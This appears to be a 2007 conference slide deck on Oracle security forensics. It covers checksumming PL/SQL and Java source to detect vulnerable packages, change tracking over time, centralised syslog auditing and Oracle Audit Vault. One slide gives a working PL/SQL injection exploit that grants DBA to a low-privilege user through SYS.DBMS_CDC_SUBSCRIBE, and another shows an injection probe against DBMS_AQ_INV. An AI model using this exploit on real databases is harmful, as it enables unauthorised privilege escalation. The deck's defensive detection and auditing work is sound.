Advanced Checksumming Over Time and Oracle Audit Vault

Advanced Check-summing Over Time and Oracle Audit Vault Paul M. Wright Security Consultant and Software Developer at NGSSoftware

Advanced Oracle Security Forensics at UKOUG SQL Injection in Oracle PL/SQL packages User inserts their own SQL into the programs SQL • Usual cause is poor input validation • PL/SQL procedures execute with the permissions of the definer by default ~ similar to SUID on UNIX • SQL injected by PUBLIC will run with the privileges of SYS via a SYS package that is definer rights. • Privilege escalation ~ PUBLIC User to DBA Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Example for 10 g CREATE OR REPLACE FUNCTION "SCOTT". "ATTACKER_FUNC" return varchar 2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT; RETURN ‘ ‘; END; / -- Inject the function into the procedure BEGIN SYS. DBMS_CDC_SUBSCRIBE. ACTIVATE_SUBSCRIPTION('''||SCOTT. ATTACKER_FUNC()||'''); END; / Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Patching has its problems. • Oracle patching is complex and has also had some problems with reliability. • On top of this is the problem of keeping track of the patches that have been installed. • Historically the recommended method to record patch level was pen and paper. • Oracle recommend using opatch and the inventory records the patch activity. • The main problem has been the unreliability of opatch and the inventory to record completed patches. • Solution to problem of auditing vulnerability? . . Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Correlating file size and pre-written checksum SQL> exec sys. dbms_aq_inv. purge_persistent_scq_table('aaa', ‘a''a'); BEGIN sys. dbms_aq_inv. purge_persistent_scq_table('aaa', 'a''a'); END; * ERROR at line 1: ORA-01756: quoted string not properly terminated ORA-06512: at "SYS. DBMS_AQ_INV", line 566 ORA-06512: at line 1 It is vulnerable!! --known bad checksum returns positive from this query. SQL> SELECT OWNER, NAME FROM DBA_SOURCE WHERE OWNER='SYS'AND NAME='DBMS_AQ_INV' AND TEXT LIKE '%786 e 1907%'; OWNER NAME • --------------- • SYS DBMS_AQ_INV Blue is checksum and green is file size. But is this sure? ? Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Forensics checksumming techniques used for Vulnerability detection • Better to calculate the checksums ourselves than rely on the ones in the DB. • For example SYS. DBMS_CDC_SUBSCRIBE vulnerable checksum… (SELECTAVG(dbms_utility. get_hash_value(text, 100000, power(2, 30) FROM DBA_SOURCE WHERE OWNER='SYS' AND NAME='DBMS_CDC_SUBSCRIBE')INTERSECT (SELECT 1589846530. 572519083969465648854961832061 FROMDUAL); This query returns true if vulnerable Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Checksum algorithm collisions? ? Could be improved!! • Need to add timestamps • File size check • Make query using fully qualified names of base tables SELECT sys. obj$. owner#, sys. obj$. NAME, sys. source$. obj#, Count(sys. source$. line), ctime, mtime, stime, avg(dbms_utility. get_hash_value(source, 100000, power(2, 30))) from sys. source$ join sys. obj$ ON sys. source$. obj#=sys. obj$. obj# where sys. obj$. name = 'DBMS_CDC_SUBSCRIBE’ And sys. obj$. owner# = 0 GROUP BY sys. obj$. owner#, sys. source$. obj#, ctime, mtime, sys. obj$. NAME; Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Improve strength of the checksumming algorithm • DBMS_UTILITY. GET_HASH_VALUE is available on 7, 8, 9, 10 and fast but has different implementation on 7 therefore a different checksum is returned. This is not good forensic consistency, but it is quick so good for low priority jobs like patch checking. • DBMS_OBFUSCATION. MD 5 is on 9 and 10 (not 8) and cryptographically stronger than DBMS_UTILITY but slower due to the more complex computation. • DBMS_CRYPTO HASH_SH 1 is on 10 only and slow but the most secure of the three. Additionally, use of MD 5 and SHA 1 together is not susceptible to malicious use of a collision where two files with differing content have the same checksum. http: //www. doxpara. com/md 5_someday. pdf. By using stripwire • See book for an example to check the state of VIEWs in a given schema using SHA 1 algorithm: Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Check the checksummer SELECT sys. obj$. owner#, sys. obj$. NAME, sys. source$. obj#, Count(sys. source$. line), ctime, mtime, stime, avg(dbms_utility. get_hash_value(source, 100000, power(2, 30))) from sys. source$ join sys. obj$ ON sys. source$. obj#=sys. obj$. obj# where sys. obj$. name = 'DBMS_UTILITY' GROUP BY sys. obj$. owner#, sys. source$. obj#, ctime, mtime, sys. obj$. NAME; Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Reverse Engineering wrapped PLSQL • Been able to unwrap PLSQL fully for 3 years. • Does this conflict with the DMCA? • Finnigan/Kornbrust have just gone public with part implemented unwrapper. • Is an unwrapper justified in order to audit Oracle source code for Malware? • Avoid that question so… • Another answer is within the law, reliable and free… Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Compare ciphertext to known good Compare the known good Ciphertext from trusted source with the checksummer that is being verified. Copyright © 2007. NGS Software Ltd. SELECT sys. obj$. owner#, sys. obj$. NAME, sys. source$. obj#, ctime, mtime, stime, AVG(dbms_utility. get_hash_value(source, 100000, power(2, 30))) as sum from sys. source$ inner join sys. obj$ ON sys. source$. obj#=sys. obj$. obj# where sys. obj$. name = 'DBMS_UTILITY' AND source like '%Xw 1 m 3 H 8 IJU 4 Ra. GW 47 mwm. JDetj. ZWz. Hq. JCCs. W 4 Nx 1 o 08/8 le+WWf 7 Gyk 3 XUd 7 z. BCEOt. Zjh. SZF 0 U 63 xvl. ZDb. DCK 3 f. CBy. Rp 9 IWjc. XM 3 VQVqzy. Aq. VFGj. Jb. PHno. Fm. D 5 Kv/rv+ooybe. Tg. VH 1 Okg+V 9 2 LRPFm. G+Ht++Jt. OJd 7 os. Ymtk. RDTo. Kz. Akr. GW 5 X 2 k. Pouws. I 7 W 6 xz. CAf. VIHnq. Acu. U 4 q. A 1 Z 1 tl. Fi d. Xinle. Lq. Drm 44 l 0 s. H/798 Ub 1 Cd. KKIRXv. L+9 x. Id. IOMte 02 L 7 h. UCrd. BI 79 UNJ 0 Kwo. Nq. TRNe/8 F 2 z. F/w. Y 1 e. WEn. Nz. O 5 Hf. Qk. T 5 dv. Ok. Ap. Qh 9 l. Qe. HECX 4 Fn. Kd. LJeejm. FTOH/B 4 Kl. LTEa. Ti 1+Il. U 8 P/m TIb. PHT 098 q 2 No. Mh/6 p 2 zdk. NEUV 619 ev. SDBcpgc+Cqtqdcg. Vy 6 wbb. NY 6 wk+E 5 Cz. Ar. Io 3 Dn. Sy. R Cl 4 X 4 f 3 pa. SWmhjif+9 Rso. ODZrq. GTCv. Xyo. F 03 TIRS 4 MTJqi 0 Uben 2 AD 3 s. Vwd 8 HIf. IQ 2 OEi 8 ty C 6 f 2 yft 539 g. X/5 X+e/ujy. H 7 YTXWjx 1 vohg. UTa. Alu. Prjg 9 K+B 9 Pg. JEWBSSFb. Hxoa 0 DNNSZa 6+ jwaihylwow. EKSvct. ON 8 ABs. Hjgt 5 Vg 1 Jk 3 xkw 5 y. Aeu. Q 5 MIh. Wxv. O 3 Uar/Nq 3 e. Psm. IGQWwk 1 xv/ j. Xek 415 u 0 cvtof. IR 1 pgms 1 u 5 Nq. Os 0 PEr. WXS 78 Hjm. THVrqoou. Zywxeg. Dc 14 Txr. XIBp. Hed. UCZj 21 q. Nji. Yz. TVr. L 2 V+AWVMl. Lod. EAF 97 ke. CU 99/o. I++bm 4+Nh. KG 40 vgv 6 BUCw. Owy. Pr/6 FOY 2 QP 53 k. OIy. Yq 8 P 66 U/8 aihdon 82 Xmy. Flzocnvnv 29 t 5 XQCx. ZDl. Yqz 0/MDu. OJ 87 Bvenf 4 j 764 d. NRGb 2 d 5 w 1 m 7 JZca. L 7 WYST 3 mpv 53 Kb 58 aya. Rn. LFq. ABM+9 l. Ukleu. D 2 AN 5 niom. LYMi. Sd 7 Zj 6 MX+Y 2 b. Hq S 5 GTc. Uitm. EP 5 x. Qtj. AOve. Pghoa. EGQr. Hb. CRc. Qd. OG 9 jums 4 N 9 c. Wr. GXSEwko. Kjgw 1 awh. YQk 1 AFk. U +IGtnu/JPVCCYm. Ryc 7 Otliob. Cn. G 6 L+ws. B 7 bgr 5 zzd 6 N 10 eiab. KQt 4+M 2 HEPfb 9 e. U 7 i. HMh. NHf RQGJw. KHi. Dxuxxi. YJq. B 8 M/qgf/Or 6 Aua 7 Lv. Rxon. HI 1 Sc. EXZJxv. W/F 8 v. D 392 q 9 e+Df. RP 3 XG 7 b. W s. IXo. Y 46 THGA 9 h. BRVogd. Zom. N 8 MLl 5 ANw. P 7 nd. Ug. R 8/4 e. NHn. JIa 7 zs. C 7 L//J 0 n. Dg. S 0/hia+2 R 5+ Ms. RC/0 xd. Otf. X/HLk 7 Lr. Pb. UMy+S 2 RBYio. C//Ln. ZTa. GOeb/y 6 d. Wl. RYE 66/vi. JUifld 6 sso. CA 8 R OMIALJe 7 n 4 ZK 0 LSg. Fot. Je. I/o 6 e. Sigq. Eg. Xn 1 FI 8 QV 2 K 2 Nr. BHXn. E 4 Trr. WFi. HXr. Dv 9 W 79 K 8 ukr. F IZISUH 27 DO 8 fnt. Zg. C 3 p. XWWups 2/RP/RNfr. Bf/SR/sc 3 a 9 zn. RPOa. HUGq. E 9 NTm. Sfy. QIY 9 Lp. Xq. G y. Tctw/01 Qr. EId+Cc. Cdi. T 8 pwh/15 k. QLBDb 5 v 41 wafv. Poxczl. WIM 5 SMi. BYev. Yk 8 B 663 b 5 b 27 Z 2 Y 7 MKimil 3 wy. Zi 7 w 74 FBf 4 LQZG 41 Hnv 2 AYr. Tj. Qdlq. D/q. VEFd. TDXi. GVe 2+/y. Cb 6 Lx+l. RCzr. F 7 k bk. Yv. U 4 Fq. PYs 4 k. LVyw. Je. C 1 Y 6 Z 5 UMKgt. S/Vx 0 x+5 i. SS 6 NVw. X 4 NRr. Wa. Lb. Ouhk 80 T 9 HY 5 d. GD 6 C 5 T Uvlmqz. Px. Mbg. Gs. DMTgz 3 XRT 8 SEk 8 Afm 94 bdewh/l/n. Zfi. ZCBldvd 20 E 0 GPxi. V 72 r. Cse. Ta 2 D 7 P kyl. N 6 ELdr. A 2 q. FBEe. Aq. J+x. Sk. COCj 2 r 2 e. Pn. C 8 EWba 6 Mkl. E 3 ifj 7 EQLsex. Wf 3 ekmg. Bjnrz 1 DN 2 x BT 6 XBHy. Ezj. B 1 MKg/9 h. BPD 5 yy. Nt. AFQJQfd. Ec 1 zdgd. Wwu 4 Bd 3 y 29 r. ZYCp. Y+mn. Wn. Tswm. CWs. XMgn 1 exk. U 57 jt 4 Tmre. Vl. JT 66 CVy. Vi 3 GYe. S 8 u. FLmcn 5 d. Iv. Nrms. ZO/Pjhh 6 Pc. TTnp. NAW 95 LFt. M 6 l 9/ AK 8 ZUrfc. TOA+r. H 1 uywi. EBf 6 sl. JTFDBR 9 U 7 g. A 5 bd. K 6 PKir. G 0 spj 6 Av. VKn 45 wp 3 v. B/Xf. KBCTf/ U 7 Bi%‘ GROUP BY sys. obj$. owner#, sys. source$. obj#, ctime, mtime, sys. obj$. NAME;

Advanced Oracle Security Forensics at UKOUG VIEW statechecking using SHA 1 algorithm: • CREATE TABLE SHA 1 VIEWSTATES(SHA 1 SCHEMA VARCHAR 2(40), SHA 1 NAME VARCHAR 2(40), SHA 1 CHECKSUM VARCHAR 2(40)); CREATE OR REPLACE PROCEDURE SHA 1 DBVIEWSTATECHECKER(lvschema in varchar 2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; string varchar 2(32767); l_hash raw(2000); lvname VARCHAR 2(30); lvtype varchar 2(30) : ='VIEW'; begin OPEN CV FOR 'SELECT DISTINCT OBJECT_NAME FROM SYS. DBA_OBJECTS WHERE OBJECT_TYPE=''VIEW'' AND OWNER = : x' using lvschema; LOOP FETCH CV INTO lvname; DBMS_OUTPUT. ENABLE(200000); l_hash: =dbms_crypto. hash(dbms_metadata. get_ddl(lvtype, lvname, lvschema), dbms_crypto. hash_sh 1); dbms_output. put_line('Hash. SHA 1='||l_hash||' Name='||lvschema||'. '||lvname); insert into SHA 1 VIEWSTATES values(lvschema, lvname, l_hash); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; end; / Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG JAVA statechecking ~ often actual source of PL/SQL vulnerabilities DECLAREV_OBJID NUMBER: =0; V_HASH NUMBER: =0; V_BUFFER RAW(32767); CUR NUMBER; RES NUMBER; POS NUMBER; LEN NUMBER; BEGINDBMS_OUTPUT. ENABLE(1000000); SELECT distinct SYS. OBJ$. OBJ# INTO V_OBJID FROM SYS. OBJ$, SYS. USER$ WHERE SYS. USER$. USER#=SYS. OBJ$. OWNER# AND SYS. OBJ$. TYPE#=29 ANDSYS. USER$. NAME='SYS' and SYS. OBJ$. NAME='oracle/CDC/Change. Table. Trigger'; CUR: =DBMS_SQL. OPEN_CURSOR; DBMS_SQL. PARSE(CUR, 'SELECT S. PIECE FROM SYS. IDL_UB 1$ S WHERE S. OBJ# = : 1', DBMS_SQL. NATIVE); DBMS_SQL. BIND_VARIABLE(CUR, ': 1', V_OBJID); DBMS_SQL. DEFINE_COLUMN_RAW (CUR, 1, V_BUFFER, 32767); RES : = DBMS_SQL. EXECUTE_AND_FETCH (CUR); IF RES > 0 THEN DBMS_SQL. COLUMN_VALUE_RAW(CUR, 1, V_BUFFER); V_HASH: = V_HASH + SYS. DBMS_UTILITY. GET_HASH_VALUE(V_BUFFER, 1, 1073741824); DBMS_SQL. CLOSE_CURSOR (CUR); DBMS_OUTPUT. PUT_LINE(V_HASH); V_BUFFER: =NULL; END IF; END; Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG OS level file statechecking • • Tripwire and NIST NSRL known goods mainly. UNIX sha 1 sum or Windows FCIV Oracle binary in case it has been patched. Password file in case there is an added user that may not shown in the sys. user$ table. See paper SYSDBA Backdoor http: //www. oracleforensics. com/wordpress/index. php/2007/10/14/sysdba-backdoor/ Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Collection of statechecks over time and change management connection • • OS checksums PL/SQL checksums Java checksums Source code check for the state of the checksummer These need storing over time for historic comparison. Known goods and bads. Also useful for change management • • • Keep track of development changes in production code. DBA unofficial policy of no change. Problem is that DBA does not actually know for sure that there has been no change. Vulnerable files may have been reverted. • Developers may have made unauthorised changes. Can solve both problems of change management and security vulnerability management with comparison of checksums over time. • This information is sensitive and should be kept off the server. Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Centralised SYSLOG • Very difficult to stop PL/SQL injection privilege escalation in Oracle. • At least need to know that it happened as a user can get from DB to OS very easily and then delete OS based mandatory audit. • Can’t stop this only know that it happened. • Central SYSLOG host for Oracle i. e. not local OS based. • 10 g. R 2 logging to SYSLOG means that central loghost tools can now be used to collect Oracle Audit SQL> ALTER SYSTEM SET audit_trail=OS SCOPE=SPFILE; SQL> ALTER SYSTEM SET audit_syslog_level=’USER. ALERT’ SCOPE=SPFILE; System altered. SQL> SHUTDOWN IMMEDIATE SQL> startup Need to keep this archived SYSLOG somewhere safe too… Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Depository • Checksums over time archive for retrospective risk to new zero days. • Syslog centralised for off server mandatory audit • SQuirre. L for Oracle vulnerability scanner reports • Safe keeping of security tools like the checksummer. • This machine has to be very secure as it is the basis of the rest of the organisations security. • Bastion Host could be called a Depository. • Similar thinking in parallel at Oracle OAV. Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Oracle Audit Vault Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Oracle Audit Vault • Pro’s – • • • OS audit off the server. Allows multiple log correlation. Encrypted network transmission. Good piece of software Against • • Too big and complex therefore more attack surface therefore might not be the safest place to keep this, the most security sensitive information. Expense If you have time and expertise implement your own Depository for SYSLOG and for the checksums you collect over time using a hardened linux server and minirsyslogd. At the URL below: http: //bent. latency. net/bent/darcs/minirsyslogd 1. 02/src/minirsyslogd 1. 02. tar. gz As described in Oracle Forensics Book. . Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG New book on Oracle Forensics • Ready for purchase at http: //www. rampant-books. com and all good book shops which solves the problem of what to buy the “DBA who has everything” for Christmas this year. . Copyright © 2007. NGS Software Ltd.

Advanced Oracle Security Forensics at UKOUG Conclusions • PL/SQL injection is a serious threat • Forensic principles can be adapted to Oracle identify vulnerable PL/SQL and database malware more accurately. • Archived statechecking provides proof of historic risk. • Also change management perspective. • Centralised SYSLOG is needed to know a hack has happened. • Secure Depository required to archive this security data. • OAV has some of these qualities and is a step in the right direction. • Still essential to use a good vulnerability scanner regularly. Copyright © 2007. NGS Software Ltd.

Questions? Copyright © 2007. Next Generation Security Software Ltd. All other trade marks are the property of their respective owner, and are used in an editorial context without intent of infringement.